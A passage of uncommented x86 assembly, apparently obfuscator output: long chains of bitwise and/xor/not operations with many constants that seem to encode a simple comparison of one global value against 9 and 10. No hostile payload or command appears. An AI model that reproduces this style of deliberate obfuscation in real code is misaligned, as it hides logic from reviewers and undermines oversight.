and edi, 0x1f6d569d
or eax, edi
mov edi, esi
and esi, 0xe092a962
not edi
and edi, 0x1f6d569d
or esi, edi
xor esi, eax
mov eax, edx
and eax, ecx
xor ecx, edx
mov edx, dword [esp + 4]
or ecx, eax
mov eax, ecx
and ecx, 0xf43f71c6
not eax
and eax, 0xbc08e39
and edx, 0xc094888f
or ecx, eax
mov eax, esi
xor ecx, 0xf43f71c6
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, ebx
and eax, 0x3f6b7770
or edx, eax
mov eax, edx
xor edx, 0x10495420
and edx, 0x90ddd42b
xor eax, 0xc094888f
mov esi, edx
mov edx, eax
and eax, 0xfffffffe
and edx, 0x6f222bd4
or edx, esi
mov esi, ebx
or ebx, 1
xor edx, 0x6f222bd5
mov edi, ebx
and esi, 1
and ebx, 0xf226318c
or eax, edx
not edi
or esi, 0xf226318c
mov edx, eax
and eax, 0xfa27c928
and edi, 0xdd9ce72
not edx
or edi, ebx
and edx, 0x5d836d7
xor esi, edi
or eax, edx
mov edx, eax
xor eax, 0x5d836d7
xor edx, 0xfa27c928
and eax, esi
not esi
mov edi, edx
xor edi, esi
and esi, edx
and edi, edx
or esi, eax
mov eax, edi
mov edx, esi
and edi, 0x44f9e0d9
and esi, 0x44f9e0d9
not eax
not edx
mov ebx, eax
or eax, edx
and edx, 0xbb061f26
and ebx, 0xbb061f26
or esi, edx
not eax
or edi, ebx
xor esi, edi
or eax, esi
mov edx, eax
mov esi, eax
mov edi, eax
not edx
or esi, 0x7e3b6410
xor edi, 0x81c49bef
mov ebx, esi
mov ebp, edx
and edi, eax
and eax, 0x7afa29c2
and ebx, 0x7cbf0b34
and ebp, 0x814090cb
or ebp, ebx
mov ebx, edi
and edi, 0x8340f4cb
not ebx
or esi, ebx
and ebx, 0x7cbf0b34
or edi, ebx
not esi
xor edi, ebp
or esi, edi
mov edi, esi
and esi, 0x81c49bef
not edi
and edi, 0x7e3b6410
or esi, edi
mov edi, esi
and esi, 0x1ba4b5ba
not edi
and edi, 0xe45b4a45
or esi, edi
mov edi, esi
xor esi, 0xc4120801
xor edi, 0x1ba4b5ba
and esi, 0xcf16a83b
mov ebx, edi
and edi, 0x2ddebca3
and ebx, 0x30e957c4
or ebx, esi
mov esi, edx
and edx, 0xd221435c
and esi, 0x8505d63d
xor ebx, 0xe2c81498
or edi, ebx
or esi, eax
mov ebx, edi
xor esi, 0xa8db6a9e
and edi, 0x26698246
or edx, esi
not ebx
mov eax, edx
mov esi, ebx
xor esi, edx
not eax
and edx, 0x26698246
and eax, 0xd9967db9
and esi, ebx
and ebx, 0xd9967db9
or eax, edx
or ebx, edi
mov edx, esi
and esi, 0x78efe6bc
xor eax, ebx
not edx
mov edi, eax
mov ebx, edx
and eax, 0x78efe6bc
not edi
and ebx, 0x87101943
or edx, edi
and edi, 0x87101943
or esi, ebx
or eax, edi
not edx
xor eax, esi
or edx, eax
mov esi, edx
mov eax, edx
xor esi, 0xf666b2a9
and eax, 0x36028001
and esi, edx
not edx
and edx, 0xc06432a8
mov edi, esi
and esi, 0x4a75808c
or eax, edx
not edi
mov edx, eax
xor eax, 0xc9fd7ffe
mov ebx, eax
xor edx, 0x2008000
or eax, edi
and edi, 0xb58a7f73
and ebx, 0xb58a7f73
and edx, 0x42648088
or esi, edi
not eax
or edx, ebx
xor esi, edx
or eax, esi
mov edx, eax
and eax, 0x829d620c
not edx
and edx, 0x7d629df3
or eax, edx
mov edx, eax
xor eax, 0x1202c04
xor edx, 0xa60002d0
and eax, 0x1fabd2d
and edx, 0xfe0542d2
or edx, eax
mov eax, edx
and edx, 0x3fc546f8
not eax
and eax, 0xc03ab907
or edx, eax
mov edi, edx
mov eax, edx
xor edx, 0xed7824e9
xor eax, 0xc1c0042a
mov ebx, edx
xor edi, 0x3e3ffbd5
and ebx, eax
and edx, edi
or eax, edi
mov esi, ebx
and ebx, 0x5228eec6
not esi
mov ebp, esi
and ebp, 0xadd71139
or ebx, ebp
mov ebp, edx
and edx, 0x5228eec6
not ebp
or esi, ebp
and ebp, 0xadd71139
or edx, ebp
not esi
xor edx, ebx
mov ebx, ecx
or esi, edx
not ebx
mov edx, esi
and esi, 0x2cb820c3
not edx
and edx, 0xd347df3c
or esi, edx
mov edx, eax
and eax, 0xf18063a3
not edx
and edx, 0xe7f9c5c
or eax, edx
mov edx, esi
xor eax, 0xf18063a3
and edx, eax
xor eax, esi
or eax, edx
mov edx, eax
not edx
and eax, edx
mov esi, edx
and esi, eax
xor eax, edx
or eax, esi
mov ebp, eax
and eax, 0xe6d35de7
not ebp
mov edx, ebp
and edx, 0x192ca218
or eax, edx
mov edx, ebx
xor eax, 0x192ca218
xor ebp, eax
and ebp, eax
mov eax, ebx
mov esi, ebp
mov edi, ebp
and eax, ecx
and ecx, 0xc4963c29
and ebp, 0xe91f11c
not esi
and edx, eax
xor eax, ebx
and edi, 0x298d7ab
and ebx, 0x3b69c3d6
mov dword [esp], esi
and esi, 0xfd672854
or eax, edx
or ecx, ebx
or edi, esi
mov edx, eax
mov eax, edi
xor edi, 0xc1050000
mov esi, edx
mov dword [esp + 8], edx
xor eax, 0x288d503
and edi, 0xc11502a8
not esi
and eax, 0x3eeafd57
mov dword [esp + 4], esi
and esi, 0x685b4b08
or eax, edi
mov edi, edx
and edi, 0x97a4b4f7
mov dword [esp + 0xc], eax
or edi, esi
mov edx, dword [esp + 0xc]
mov eax, edi
xor edi, 0x40190300
xor eax, 0x97a4b4f7
and edi, 0x54b99390
mov esi, eax
and eax, 0xe91f11c
and esi, 0xab466c6f
or esi, edi
xor esi, 0x5a28628c
or eax, esi
mov esi, eax
and eax, 0x7855b68a
not esi
and esi, 0x87aa4975
or eax, esi
mov esi, ecx
xor ecx, 0x35f832ca
xor esi, 0xc0060c21
and esi, 0xf16e0ee3
or ecx, esi
mov esi, edx
xor edx, 0x307b0c4b
xor esi, 0x3eeafd57
mov dword [esp + 0x10], esi
and esi, 0xe91f11c
or edx, esi
mov ebx, edx
mov edx, dword [esp]
mov dword [esp + 0x14], ebx
mov esi, edx
and esi, 0xf16e0ee3
or ebp, esi
mov esi, eax
xor eax, 0x85284135
xor edx, ebp
xor esi, 0x7855b68a
and eax, 0x8d684337
and edx, ebp
mov edi, esi
mov ebp, ecx
xor edi, ecx
not ebp
and ecx, 0x8d684337
mov dword [esp], edx
and ebp, 0x7297bcc8
and edi, esi
and esi, 0x7297bcc8
or esi, eax
or ebp, ecx
mov eax, edi
xor ebp, esi
mov esi, ebx
and eax, ebp
xor ebp, edi
not esi
mov edi, ebx
or ebp, eax
mov eax, esi
or edi, 0x8cd852c1
or eax, 0x7327ad3e
mov ecx, eax
and eax, 0xb1132f91
not ecx
and ecx, 0xcc85040
or ecx, eax
mov eax, edi
and edi, 0xb1132f91
not eax
and eax, 0x4224802e
or eax, edi
mov edi, edx
xor eax, ecx
mov ecx, edx
not edi
xor edx, 0x8cd852c1
and edx, edi
and ecx, 0x7327ad3e
and edi, 0xc5de8f70
mov ebx, edx
and ebx, ecx
xor ecx, edx
mov edx, eax
or ecx, ebx
not edx
and edx, ecx
not ecx
and ecx, eax
mov eax, esi
or ecx, edx
mov edx, dword [esp + 0x14]
and eax, 0x3a21708f
and edx, 0xc5de8f70
or edx, eax
mov eax, dword [esp]
or esi, eax
and eax, 0x3a21708f
or edi, eax
not esi
xor edi, edx
mov edx, dword [esp + 0xc]
or esi, edi
mov eax, esi
and esi, 0x72e9170
not eax
and eax, 0xf8d16e8f
mov edi, edx
or esi, eax
mov eax, ecx
xor edi, 0xc11502a8
xor esi, 0x72e9170
and eax, esi
xor esi, ecx
mov ecx, ebp
and ebp, 0x52e59b27
not ecx
or esi, eax
mov eax, ecx
or ecx, esi
and eax, 0xad1a64d8
not ecx
or ebp, eax
xor ebp, esi
xor ebp, 0xad1a64d8
and ebp, esi
mov eax, ebp
and eax, ecx
xor ecx, ebp
mov ebp, dword [esp + 8]
or ecx, eax
mov eax, dword [esp + 0x10]
mov dword [esp], ecx
mov ecx, edx
xor ecx, 0x80ba83d6
and ecx, edi
and edi, 0x2b271a0a
and eax, 0xd4d8e5f5
or edi, eax
mov eax, ebp
and ebp, 0xbe507e81
xor eax, 0x41af817e
mov ebx, edi
and eax, dword [esp + 4]
xor ebx, 0x2b271a0a
mov edx, eax
and edx, ebp
xor ebp, eax
mov eax, edi
xor edi, 0xd4d8e5f5
xor eax, 0x9577648b
or ebp, edx
and eax, ebx
and ebx, 0x142b53
mov esi, eax
and eax, 0x1610ef90
not esi
mov edx, esi
and edx, 0xe9ef106f
or eax, edx
mov edx, ecx
and ecx, 0x1610ef90
not edx
or esi, edx
and edx, 0xe9ef106f
or ecx, edx
not esi
mov edx, dword [esp + 4]
xor ecx, eax
mov eax, ebp
and ebp, 0xc31e75
not eax
or esi, ecx
mov ecx, dword [esp + 8]
and eax, 0xff3ce18a
or ebp, eax
mov eax, esi
and esi, 0xc31e75
and edx, 0x142b53
not eax
and eax, 0xff3ce18a
or esi, eax
mov eax, ecx
or ecx, edi
and edi, 0xffebd4ac
and eax, 0xffebd4ac
or ebx, edi
xor esi, ebp
or edx, eax
xor ebx, edx
mov edx, ecx
mov ecx, dword [esp]
not edx
or edx, ebx
mov eax, edx
and edx, 0xa630b851
not eax
and eax, 0x59cf47ae
or edx, eax
mov eax, esi
xor edx, 0xa630b851
and eax, edx
xor edx, esi
mov esi, ecx
or edx, eax
mov eax, edx
and edx, 0x2fa949f3
not eax
and eax, 0xd056b60c
or edx, eax
mov eax, edx
xor edx, 0xd0160400
xor eax, 0x4210931
and edx, 0xfb9e44c2
and eax, 0x461bb3d
or eax, edx
mov edx, eax
xor eax, 0x4618914
xor edx, 0xab880042
and eax, 0x5477cd94
and edx, 0xab88326b
or edx, eax
mov eax, edx
xor edx, 0x5036cc04
xor eax, 0xa9883008
and edx, 0x5236ce67
and eax, 0xadc93198
or eax, edx
mov edx, eax
xor eax, 0xadc93198
xor edx, 0x5236ce67
xor esi, edx
and edx, ecx
and esi, ecx
not ecx
and ecx, eax
mov eax, esi
and esi, 0x22578fc1
or edx, ecx
not eax
mov ecx, edx
mov edi, eax
and edx, 0x22578fc1
not ecx
and edi, 0xdda8703e
or eax, ecx
and ecx, 0xdda8703e
or esi, edi
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov ecx, eax
mov esi, eax
mov ebp, eax
not ecx
and esi, 0x63f37fa3
and ebp, 0xbd07edbc
mov edi, ecx
mov edx, ecx
mov ecx, eax
mov ebx, edi
and edx, eax
mov dword [esp + 8], edi
and ebx, 0x9c0c805c
or ebx, esi
mov esi, edx
and edx, 0x9c0c805c
not esi
or ecx, esi
and esi, 0x63f37fa3
or edx, esi
mov esi, edi
not ecx
and esi, 0x42f81243
xor edx, ebx
or ebp, esi
or ecx, edx
mov esi, ebp
and ebp, 0xf5719d20
not esi
and esi, 0xa8e62df
or ebp, esi
mov esi, ebp
mov dword [esp], ebp
xor esi, 0x676f77a9
and esi, eax
and eax, 0x2aac152
mov dword [esp + 4], esi
mov esi, ecx
and ecx, 0x17ec36ce
not esi
mov edx, esi
and esi, 0xf14a1eb0
and edx, 0xe813c931
or edx, ecx
mov ecx, edi
and ecx, 0xfd553ead
xor edx, 0xe6a6287e
or eax, ecx
or esi, edx
xor eax, 0xf3e0dfe2
mov edx, esi
mov ecx, eax
xor ecx, edi
and ecx, eax
mov eax, ecx
xor eax, 0x325f2fc1
and eax, ecx
not ecx
and edx, ecx
mov ebp, ecx
xor ecx, esi
mov dword [esp + 0xc], edx
mov edx, esi
not esi
and ebp, 0x325f2fc1
xor edx, 0xcda0d03e
or ecx, dword [esp + 0xc]
and edx, esi
or esi, 0xcda0d03e
mov edi, esi
mov ebx, esi
not edi
and ebx, 0x2bbd9421
and edi, 0x10422bc0
or edi, ebx
mov ebx, edx
and edx, 0xd4426bde
not ebx
or esi, ebx
and ebx, 0x2bbd9421
or edx, ebx
not esi
xor edx, edi
or esi, edx
mov edx, ebp
and edx, eax
xor eax, ebp
or eax, edx
mov edx, esi
not edx
and edx, eax
not eax
and eax, esi
or eax, edx
mov edx, ecx
and ecx, 0x157ff240
not edx
and edx, 0xea800dbf
or ecx, edx
mov edx, eax
xor ecx, 0x157ff240
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, ecx
mov eax, ecx
xor edx, 0xcb957a73
and eax, 0xc2143020
and edx, ecx
not ecx
and ecx, 0x9814a53
or eax, ecx
mov ecx, eax
xor eax, 0x3debcfdf
xor ecx, 0x42003020
mov esi, eax
and esi, 0xb4778ed9
and ecx, 0x4b807022
or ecx, esi
mov esi, edx
and edx, 0x4b887126
not esi
or eax, esi
and esi, 0xb4778ed9
or edx, esi
not eax
mov esi, dword [esp + 8]
xor edx, ecx
or eax, edx
mov ecx, eax
and eax, 0xc5209b3c
not ecx
and ecx, 0x3adf64c3
or eax, ecx
mov ecx, eax
and eax, 0x2cb6649c
not ecx
and ecx, 0xd3499b63
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x1b339f24
xor edx, 0x1000b00
xor ecx, 0x2cb6649c
and eax, ecx
and edx, 0x21806b88
and ecx, 0x16059030
or ecx, edx
xor ecx, 0x16059030
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
and eax, 0x69cbaf46
not ecx
and ecx, 0x963450b9
or eax, ecx
mov ecx, eax
xor eax, 0x715753cb
xor ecx, 0xe080434
mov edx, eax
and edx, 0xd0e6f8ca
and ecx, 0x2f190735
or ecx, edx
xor eax, ecx
and eax, ecx
mov ecx, dword [esp]
mov edi, eax
mov ebx, eax
and edi, 0x3904919d
xor ecx, 0x98908856
and esi, ecx
mov edx, ecx
mov ecx, dword [esp + 4]
or ecx, esi
not ecx
or ecx, edx
mov edx, eax
not edx
mov ebp, ecx
mov ecx, edx
mov esi, edx
and ecx, eax
and esi, 0x404b90ce
and eax, 0xbfb46f31
or eax, esi
mov esi, ebp
xor eax, 0x438ee52e
not esi
or eax, edx
and edx, 0xc6fb6e62
or edx, edi
mov edi, ecx
and ecx, 0xc6fb6e62
not edi
or ebx, edi
and edi, 0x3904919d
or ecx, edi
not ebx
mov edi, ebp
xor ecx, edx
xor edi, 0x863e5b47
or ebx, ecx
mov ecx, ebp
and edi, esi
and esi, 0x3c575e0
and ecx, 0x79c1a4b8
mov dword [esp + 0x10], ebx
mov edx, ecx
and edx, edi
xor edi, ecx
or edi, edx
mov edx, ebx
mov ecx, edi
and edi, 0x79c1a4b8
not edx
not ecx
mov dword [esp + 0xc], edx
and edx, 0x2dcb2f13
and ecx, 0x863e5b47
or edi, ecx
mov ecx, ebx
and ecx, 0xd234d0ec
mov dword [esp + 0x18], edi
or ecx, edx
mov edx, ecx
xor ecx, 0xd1f1a50c
xor edx, 0x20450e0
and edx, 0x3c575e0
or ecx, edx
mov edx, edi
xor edi, 0xfc3a8a1f
not edx
mov dword [esp + 0x14], edx
and edx, 0x3c575e0
or edi, edx
mov edx, edi
and edi, 0x3ec1bda6
not edx
and edx, 0xc13e4259
or edi, edx
mov edx, ebp
and edx, 0xfc3a8a1f
mov dword [esp + 8], edi
or esi, edx
mov edx, ecx
xor ebp, esi
and edx, 0xc6c04602
and ebp, esi
mov esi, ecx
or ecx, 0xeec13518
not esi
mov dword [esp + 4], ebp
and esi, 0x393fb9fd
or esi, edx
mov edx, eax
mov edi, esi
mov dword [esp], esi
mov esi, eax
xor eax, 0x113ecae7
and edx, 0x54834d7b
not esi
and eax, esi
and esi, 0xab7cb284
or esi, edx
mov edx, edi
xor edi, 0x2801731a
xor edx, 0x393fb9fd
mov ebp, esi
and edi, edx
mov dword [esp + 0x1c], edx
xor ebp, 0xab7cb284
mov edx, edi
and edi, 0xf171d1ab
not edx
mov ebx, edx
or edx, ecx
and ebx, 0xe8e2e54
not edx
or edi, ebx
mov ebx, ecx
and ecx, 0xe8e2e54
not ebx
and ebx, 0x1130c0a3
or ebx, ecx
xor ebx, edi
or edx, ebx
mov ebx, esi
xor esi, 0x54834d7b
xor ebx, 0xba427863
and ebx, ebp
and ebp, 0xa822f781
mov ecx, ebx
and ebx, 0xc2d8477c
not ecx
mov edi, ecx
and edi, 0x3d27b883
or ebx, edi
mov edi, eax
and eax, 0xc2d8477c
not edi
or ecx, edi
and edi, 0x3d27b883
or eax, edi
not ecx
mov edi, dword [esp + 0x1c]
xor eax, ebx
or ecx, eax
mov eax, edx
and edx, 0xbd83bfe9
not eax
and eax, 0x427c4016
and edi, 0xa822f781
or edx, eax
mov eax, ecx
and ecx, 0xbd83bfe9
not eax
and eax, 0x427c4016
or ecx, eax
xor ecx, edx
mov edx, dword [esp]
xor edx, 0xc6c04602
mov eax, edx
or edx, esi
and esi, 0x57dd087e
and eax, 0x57dd087e
or ebp, esi
not edx
or edi, eax
xor ebp, edi
or edx, ebp
mov eax, edx
and edx, 0x85ac03d
not eax
and eax, 0xf7a53fc2
or edx, eax
mov eax, ecx
xor edx, 0x85ac03d
and eax, edx
xor edx, ecx
or edx, eax
mov dword [esp], edx
mov edx, dword [esp + 8]
mov eax, edx
mov ecx, edx
xor edx, 0x6ac7c64a
xor eax, 0x3ec1bda6
xor ecx, 0xc01c0041
and edx, eax
and ecx, 0xe85d00e3
and eax, 0x17a2ff1c
mov dword [esp + 8], edx
mov edx, dword [esp + 4]
or eax, ecx
mov ecx, eax
mov edi, eax
xor eax, 0xe85d00e3
xor ecx, 0x17a2ff1c
xor edi, 0xbc5b7b0f
and edi, ecx
mov dword [esp + 4], ecx
mov ecx, dword [esp + 8]
mov ebx, edx
mov esi, edx
xor ebx, 0x54067bec
and esi, 0x14ab1264
and ebx, edx
not edx
and edx, 0xeb54ed9b
or esi, edx
mov edx, edi
and edi, 0xffb82724
not edx
mov ebp, edx
and ebp, 0x47d8db
or edi, ebp
mov ebp, ecx
and ecx, 0xffb82724
not ebp
or edx, ebp
and ebp, 0x47d8db
or ecx, ebp
mov ebp, esi
not edx
xor esi, 0xeb54ed9b
xor ebp, 0x14ab1264
xor ecx, edi
mov edi, ebp
or edx, ecx
and ebp, 0xbf8f1759
and edi, 0x54067bec
mov ecx, edi
and ecx, ebx
xor ebx, edi
or ebx, ecx
mov ecx, edx
and edx, 0x9c19a2f4
not ecx
and ecx, 0x63e65d0b
or edx, ecx
mov ecx, ebx
and ebx, 0x9c19a2f4
not ecx
and ecx, 0x63e65d0b
or ebx, ecx
mov ecx, eax
or eax, esi
and esi, 0x4070e8a6
xor ebx, edx
mov edx, dword [esp + 4]
and ecx, 0x4070e8a6
or ebp, esi
not eax
and edx, 0xbf8f1759
or edx, ecx
xor ebp, edx
or eax, ebp
mov ecx, eax
and eax, 0xc145e3a4
not ecx
and ecx, 0x3eba1c5b
or eax, ecx
mov ecx, ebx
xor eax, 0xc145e3a4
and ecx, eax
xor eax, ebx
mov ebx, dword [esp]
or eax, ecx
mov ecx, eax
mov edx, eax
xor ecx, 0x4e4488d4
and edx, 0x40ee2634
and ecx, eax
not eax
mov esi, ebx
and eax, 0xbf11d9cb
xor esi, 0x4e4488d4
or edx, eax
and esi, ebx
mov eax, edx
xor edx, 0xf155511f
xor eax, 0x40ee2634
and edx, eax
mov eax, ebx
or ebx, 0xb1bb772b
not eax
mov edi, ebx
and edi, 0x7b0b9c3e
and eax, 0x44400c0
or eax, edi
mov edi, esi
and esi, 0x84f463c1
not edi
or ebx, edi
and edi, 0x7b0b9c3e
or esi, edi
mov edi, edx
and edx, 0x5a779e15
not ebx
not edi
xor esi, eax
mov eax, edi
or ebx, esi
and eax, 0xa58861ea
mov esi, ebx
or edx, eax
mov eax, ecx
and ecx, 0x5a779e15
and esi, 0x60950368
not eax
or edi, eax
and eax, 0xa58861ea
or ecx, eax
mov eax, ebx
not edi
not eax
xor ecx, edx
and eax, 0x9f6afc97
or edi, ecx
or esi, eax
mov eax, edi
and edi, 0x60950368
not eax
and eax, 0x9f6afc97
or edi, eax
mov eax, dword [esp + 0x14]
xor edi, esi
mov esi, dword [esp + 0x18]
mov dword [esp], edi
and eax, 0xdc7a8a78
and esi, 0x23857587
or esi, eax
mov eax, dword [esp + 0x10]
mov ebx, esi
mov ebp, esi
xor ebx, 0x23857587
xor ebp, 0xdc7a8a78
or eax, 0x78948f03
mov ecx, eax
and eax, 0x7e413fb6
not ecx
and ecx, 0x812a4048
or ecx, eax
mov eax, dword [esp + 0xc]
or eax, 0x876b70fc
mov edx, eax
and eax, 0x7e413fb6
not edx
and edx, 0x948001
or edx, eax
xor edx, ecx
mov ecx, esi
xor esi, 0x5b11fa84
and esi, ebx
and ebx, 0x2483462f
mov ecx, esi
and esi, 0xf3443dc8
not ecx
mov edi, ecx
and edi, 0xcbbc237
or esi, edi
mov edi, dword [esp + 0x14]
or edi, 0x876b70fc
mov eax, edi
or ecx, edi
and edi, 0xcbbc237
not eax
not ecx
and eax, 0x70040d00
or eax, edi
mov edi, dword [esp + 0x10]
xor eax, esi
mov esi, edx
or ecx, eax
not esi
and esi, ecx
not ecx
and ecx, edx
mov edx, edi
or edi, ebp
and ebp, 0xdb7cb9d0
or ecx, esi
mov esi, dword [esp + 0xc]
and edx, 0xdb7cb9d0
or ebx, ebp
not edi
mov eax, ecx
and ecx, 0x17d03067
not eax
and esi, 0x2483462f
or esi, edx
xor ebx, esi
mov esi, eax
or edi, ebx
and esi, 0xe82fcf98
mov ebx, dword [esp]
mov edx, edi
or eax, edi
and edi, 0xe82fcf98
or ecx, esi
not edx
not eax
and edx, 0x17d03067
or edx, edi
mov esi, ebx
xor edx, ecx
xor esi, 0xe3ef6b52
or eax, edx
and esi, ebx
mov ecx, eax
not ecx
mov edx, ecx
and ecx, eax
and eax, 0xdfc2a9ff
and edx, 0x203d5600
or eax, edx
xor eax, 0xdfc2a9ff
mov edx, eax
xor eax, ecx
and edx, ecx
mov ecx, ebx
not ebx
or eax, edx
and ebx, 0x9596f320
and ecx, 0x6a690cdf
mov ebp, eax
or ecx, ebx
and eax, 0x170df0a7
not ebp
mov edx, ecx
mov dword [esp + 4], ecx
mov edi, ebp
xor edx, 0x6a690cdf
or ebp, 0xe3ef6b52
and edi, 0xe8f20f58
mov dword [esp], edx
or eax, edi
mov edi, ecx
xor edi, 0x76799872
and edi, edx
mov ebx, edi
and edi, 0xef1a2d4f
not ebx
mov ecx, ebx
and ecx, 0x10e5d2b0
or edi, ecx
mov ecx, esi
and esi, 0xef1a2d4f
not ecx
or ebx, ecx
and ecx, 0x10e5d2b0
or esi, ecx
mov ecx, eax
not ebx
xor esi, edi
mov edi, eax
xor ecx, 0xb1d640a
xor eax, 0xe8f20f58
xor edi, 0x170df0a7
or ebx, esi
and ecx, edi
and edi, 0x102af0a8
mov esi, ecx
and ecx, 0x3496c7f8
not esi
mov edx, esi
or esi, ebp
and edx, 0xcb693807
not esi
or ecx, edx
mov edx, ebp
and ebp, 0xcb693807
not edx
and edx, 0x141084a8
or edx, ebp
xor edx, ecx
mov ecx, ebx
and ebx, 0x40ea999c
not ecx
or esi, edx
mov edx, dword [esp]
and ecx, 0xbf156663
or ebx, ecx
mov ecx, esi
and esi, 0x40ea999c
not ecx
and ecx, 0xbf156663
and edx, 0x102af0a8
or esi, ecx
xor esi, ebx
mov ebx, dword [esp + 4]
xor ebx, 0x9596f320
mov ecx, ebx
or ebx, eax
and eax, 0xefd50f57
and ecx, 0xefd50f57
or edi, eax
not ebx
or edx, ecx
mov ecx, esi
and esi, 0x74dbf9ca
xor edi, edx
not ecx
or ebx, edi
mov edx, ecx
mov eax, ebx
or ecx, ebx
and edx, 0x8b240635
and ebx, 0x8b240635
not eax
or esi, edx
not ecx
and eax, 0x74dbf9ca
or eax, ebx
xor eax, esi
or ecx, eax
mov edx, ecx
mov eax, ecx
mov edi, ecx
not edx
xor edi, 0x2e7cd474
and eax, 0x8348004
mov esi, edx
and edi, ecx
and edx, 0xa3cd08e6
xor ecx, 0x5c32f719
and esi, 0x26485470
mov ebx, edi
and edi, 0x27bbbee9
or ecx, edx
or eax, esi
not ebx
mov edx, ecx
and ecx, 0x49ba225c
mov esi, eax
xor eax, 0xf7cb7ffb
not edx
mov ebp, eax
xor esi, 0x308000
or eax, ebx
and ebx, 0xd8444116
and edx, 0xb645dda3
and ebp, 0xd8444116
and esi, 0x26389460
or edi, ebx
not eax
or ecx, edx
or esi, ebp
mov ebx, ecx
xor edi, esi
xor ebx, 0x86459c82
or eax, edi
and ebx, 0xc75dbcc6
mov esi, eax
and eax, 0x2e7cd474
not esi
and esi, 0xd1832b8b
or eax, esi
mov esi, eax
and eax, 0x95a3d6fc
not esi
mov edi, esi
and esi, 0x5c32f719
and edi, 0x6a5c2903
or edi, eax
xor edi, 0xc99121e5
or esi, edi
mov edi, ecx
xor ecx, 0xae35ec1d
mov eax, esi
and esi, 0xed13aa24
xor edi, 0x49ba225c
not eax
and ecx, edi
and edi, 0x38a24339
and eax, 0x12ec55db
or edi, ebx
or esi, eax
mov dword [esp + 8], edi
xor edi, 0xc75dbcc6
mov edx, esi
mov eax, esi
xor esi, 0xa9c6465
xor edx, 0x12ec55db
xor eax, 0xed13aa24
mov dword [esp], edx
and esi, edx
mov edx, dword [esp]
mov ebp, esi
and esi, 0x3090fdb8
not ebp
mov ebx, ebp
and ebx, 0xcf6f0247
or edx, 0xe78fce41
or esi, ebx
mov ebx, edx
or ebp, edx
and edx, 0xcf6f0247
not ebx
not ebp
and ebx, 0x101031b8
or ebx, edx
xor ebx, esi
mov esi, edi
or esi, 0x187031be
or ebp, ebx
mov ebx, esi
mov edx, esi
not ebx
and edx, 0x438f2089
and ebx, 0xa400ce40
or ebx, edx
mov edx, ecx
and ecx, 0xbc70df76
not edx
or esi, edx
and edx, 0x438f2089
or ecx, edx
not esi
mov edx, eax
or eax, edi
and edi, 0xf94beb1
xor ecx, ebx
mov ebx, dword [esp]
and edx, 0xf94beb1
not eax
or esi, ecx
mov ecx, ebp
and ebp, 0xcbee7199
not ecx
and ecx, 0x34118e66
or ebp, ecx
mov ecx, esi
and esi, 0xcbee7199
and ebx, 0xf06b414e
not ecx
or ebx, edx
and ecx, 0x34118e66
or esi, ecx
mov ecx, dword [0x4d0db8]
xor esi, ebp
mov edx, esi
mov dword [esp + 4], ecx
mov ecx, dword [esp + 8]
xor ecx, 0x30224108
and ecx, 0xf06b414e
or ecx, edi
xor ecx, ebx
or eax, ecx
not eax
and edx, eax
xor eax, esi
or eax, edx
mov edx, eax
and eax, 0xb613befc
not edx
and edx, 0x49ec4103
or eax, edx
mov edx, eax
and eax, 0x4a3ed318
not edx
and edx, 0xb5c12ce7
or eax, edx
mov edx, eax
xor eax, 0x70f96237
xor edx, 0x8f069dc8
mov esi, eax
mov ebx, edx
and esi, 0x438f33b4
and ebx, 0xbc70cc4b
or ebx, esi
mov esi, ebx
and ebx, 0x92dfcb8a
not esi
and esi, 0x6d203475
or ebx, esi
mov esi, ebx
xor ebx, 0x2eaf07c1
xor esi, 0x1050c818
mov edi, ebx
and esi, 0x3c5eca98
and edi, 0xc3a13567
or edi, esi
mov esi, edx
xor edi, 0xc3a13567
or edi, ebx
and esi, edi
not edi
mov ebx, edi
xor ebx, eax
and ebx, edi
and edi, eax
or edi, esi
mov esi, ebx
and ebx, 0xc7cc3975
mov ecx, edi
not esi
and edi, 0xc7cc3975
mov ebp, esi
not ecx
or esi, ecx
and ebp, 0x3833c68a
and ecx, 0x3833c68a
or edi, ecx
or ebx, ebp
not esi
mov ecx, dword [esp + 4]
xor edi, ebx
or esi, edi
mov edi, esi
and esi, 0x7df3dc6a
not edi
mov ebx, edi
or eax, edi
and ebx, 0x820c2395
not eax
or esi, ebx
xor esi, 0x820c2395
or esi, edx
not esi
mov edx, esi
and edx, eax
xor eax, esi
mov esi, 0xc96aa670
or eax, edx
not eax
mov edx, eax
xor eax, edi
and edx, edi
or eax, edx
mov edx, eax
and eax, 0xc632591c
not edx
and edx, 0x39cda6e3
or eax, edx
xor eax, 0xc632591c
setne dh
sete ah
cmp ecx, 0xa
setl dl
cmp ecx, 9
mov cl, ah
setg al
xor cl, dh
and cl, ah
mov ebx, ecx
mov ch, cl
not bl
and bl, cl
xor bl, 1
xor ch, bl
or bl, cl
xor bl, 1
or bl, ch
mov ecx, ebx
mov bh, bl
xor cl, 1
or bh, al
mov ch, cl
xor bh, 1
and ch, bl
xor cl, ch
xor ch, 1
or ch, bl
xor bl, al
xor ch, 1
or bh, bl
or ch, cl
mov cl, al
xor ch, 1
and cl, ch
xor ch, al
or ch, cl
mov cl, bh
or cl, ch
xor ch, bh
mov bh, dl
xor cl, 1
and bh, dh
mov bl, cl
and bl, ch
xor ch, cl
or ch, bl
mov cl, ch
xor ch, dl
and cl, dl
or cl, ch
xor ch, 1
mov bl, ch
or ch, cl
xor bl, cl
xor ch, 1
or ch, bl
mov bl, ah
and ah, dl
or dl, dh
and bl, al
and al, dh
mov cl, ch
or al, ah
mov ah, dl
or bl, bh
xor cl, 1
xor al, 1
xor bl, 1
mov byte [esp], cl
xor ah, al
or al, dl
mov bh, bl
xor bl, dh
xor al, 1
and bh, dh
or al, ah
or bl, bh
mov edx, eax
mov cl, bl
xor dl, 1
xor cl, 1
mov ah, dl
mov bh, cl
and ah, al
and bh, dl
mov dh, ah
xor ah, dl
xor dh, 1
or dh, al
and al, bl
or bh, al
xor dh, 1
mov al, bh
or dh, ah
xor al, bl
and bl, dh
xor dh, 1
and dh, cl
and al, bh
mov cl, byte [esp]
or dh, bl
xor al, 1
xor dh, 1
mov dl, al
or dl, dh
xor dh, al
mov eax, edx
mov ah, cl
mov ebx, ecx
xor al, dh
xor dh, 1
or bl, ch
or dh, dl
xor al, 1
mov dl, cl
xor dh, 1
or dh, al
mov al, cl
and al, ch
and dl, al
xor ah, al
